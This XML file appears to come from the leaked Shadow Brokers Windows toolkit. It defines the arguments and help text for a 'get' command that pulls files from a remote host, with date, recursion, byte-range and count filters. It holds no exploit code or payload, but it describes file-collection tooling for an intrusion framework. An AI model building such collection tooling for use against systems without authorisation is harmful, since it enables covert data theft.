shadowbrokers-exploits/windows/Resources/Ep/Commands/CommandLine/get_Command.xml
2017-04-14 11:45:07 +02:00

111 lines
3.7 KiB
XML

<?xml version='1.0' ?>
<Plugin id='31316'>
<Command id='16' name='get'>
<Help>Get files from a remote host.</Help>
<Input>
<Argument name='mask' optional='false' data='mask'>
<Help>This can contain a path if you desire. If you include a path, the -path option is illegal.</Help>
<Help>This can be a file name or a file mask. If you use a file mask, [range] and [tail] are illegal.</Help>
</Argument>
<Option name='path' optional='true'>
<Argument name='pathname' data='path'/>
<Help>Perform get operation from a directory other than the current remote directory.</Help>
<Help>Not valid if the path was specified in 'mask'</Help>
</Option>
<Option name='after' optional='true'>
<Help>Only get files with timestamps after the given date</Help>
<Argument name='MM/DD/YYYY' data='after'/>
</Option>
<Option name='before' optional='true'>
<Help>Only get files with timestamps before the given date</Help>
<Argument name='MM/DD/YYYY' data='before'/>
</Option>
<Option name='age' optional='true'>
<Help>Retrieves files that are at most 'hours' old</Help>
<Argument name='hours' data='age'/>
</Option>
<Option name='time' optional='true'>
<Help>Time type to use in after/before/age</Help>
<Help>(defaults to modified)</Help>
<Argument name='type'>
<Value string='accessed'>
<Set data='timetype' value='1'/>
</Value>
<Value string='modified'>
<Set data='timetype' value='2'/>
</Value>
<Value string='created'>
<Set data='timetype' value='3'/>
</Value>
</Argument>
</Option>
<Option name='recursive' optional='true'>
<Set data='recursive' value='true'/>
</Option>
<Option name='name' optional='true'>
<Argument name='localPrefix' data='prefix'/>
<Help>The prefix for any local files.</Help>
</Option>
<Option name='foreground' optional='true'>
<Set data='foreground' value='true'/>
</Option>
<Option name='range' optional='true'>
<Help>The range of bytes to read from the file. If end is not specified,</Help>
<Help>the file will be read from the start until end of file.</Help>
<Argument name='start' data='start'/>
<Argument name='end' data='end' optional='true' />
</Option>
<Option name='tail' optional='true'>
<Help>The number of bytes specified will be read from the file starting at</Help>
<Help> "bytes" offset from the END of the file. </Help>
<Argument name='bytes' data='tail'/>
</Option>
<Option name='max' optional='true'>
<Argument name='number' data='max'/>
<Help>Retrieves up to this number of files. If 0, </Help>
<Help>return all files. If not specified, return 25.</Help>
</Option>
<Option name='realpath' optional='true'>
<Argument name='path' data='realpath'/>
<Help>The original path of the file to be retrieved.</Help>
</Option>
</Input>
<Output>
<Data name='mask' type='string'/>
<Data name='path' type='string'/>
<Data name='after' type='string'/>
<Data name='before' type='string'/>
<Data name='age' type='uint8_t'/>
<Data name='timetype' type='uint32_t' default='2'/>
<Data name='foreground' type='bool' default='false'/>
<Data name='recursive' type='bool' default='false'/>
<Data name='prefix' type='string'/>
<Data name='start' type='uint32_t' default='0'/>
<Data name='end' type='uint32_t' default='0'/>
<Data name='tail' type='uint32_t' default='0'/>
<Data name='max' type='uint32_t' default='25'/>
<Data name='realpath' type='string'/>
</Output>
</Command>
</Plugin>